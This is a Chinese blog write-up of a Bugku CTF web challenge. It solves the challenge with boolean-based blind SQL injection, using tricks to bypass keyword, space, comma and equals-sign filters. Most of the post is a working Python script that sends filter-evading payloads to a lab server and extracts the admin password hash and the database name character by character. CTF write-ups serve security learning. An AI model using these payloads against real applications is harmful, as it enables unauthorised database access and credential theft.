wp-Bugkuctf-web-38(sql注入)【附脚本】

写在前面

本题提示是布尔注入,在之前的布尔注入中,一般是针对能否登录的布尔来进行信息获取,这里是利用username是否存在的布尔来进行信息获取,同时伴随着一些关键字过滤,对于布尔注入的进一步学习有一些帮助。

WP

在这里插入图片描述
首先弱密码尝试,显示 password error
在这里插入图片描述
更改后显示 username does not exist
这里就是一组布尔,存在与否
输一些关键字测试一下:

and,or,=,' '

在这里插入图片描述
看来有关键字屏蔽,并且大小写混用没啥用。
继续测试发现…还过滤了空格,逗号,等号,for
空格用括号代替,等号用相反的<>(一种不等号)代替

之前的一组布尔要与payload结合起来,形成true/false的布尔。
这里使用^ 异或或者or 来实现都可以。

具体方法在脚本中以注释形式给出:

#布尔盲注不仅仅是在密码正确和密码错误两种情况下,比如你输入账户,可能出现“账户不存在”和“存在”两种情况,这也是布尔。
import requests
import string,hashlib
url = 'http://114.67.246.176:19665/'
sss = string.digits + (string.ascii_lowercase)
a = ''
for i in range(1, 50):
    flag = 0
    for j in sss:
        payload = "admin'^((ascii(mid((select(password)from(admin))from(%s))))<>%s)^1#" % (i, ord(j))
        #屏蔽了",",改用mid()函数,from表示起始位置
        #ascii()当传入一个字符串时取出第一个字母的ascii(),相当于mid()的第二参数,for取出,也相当于limit
        #<>表示不等号
        #^表示异或
        payload2= "admin123'or((ascii(mid((select(password)from(admin))from(%s))))<>%s)#"%(i,ord(j))
        #由于没有屏蔽or,所以也可以用这个,可以形成一组布尔
        payload3= "admin123'or((ascii(mid((select(database()))from(%s))))<>%s)#"%(i,ord(j))
        
        data = {'username': payload, 'password': 'admin'}
        res = requests.post(url, data=data).text
        if 'username does not exist!' in res:
            a += j
            flag = 1
            print(a)
            break
    if flag == 0:
        break
 
print(a)

脚本跑出为md5加密值,碰撞来解密出密码
在这里插入图片描述
输入密码即可

posted @ 2021-08-23 00:11  Sayo-NERV  阅读(88)  评论(0编辑  收藏  举报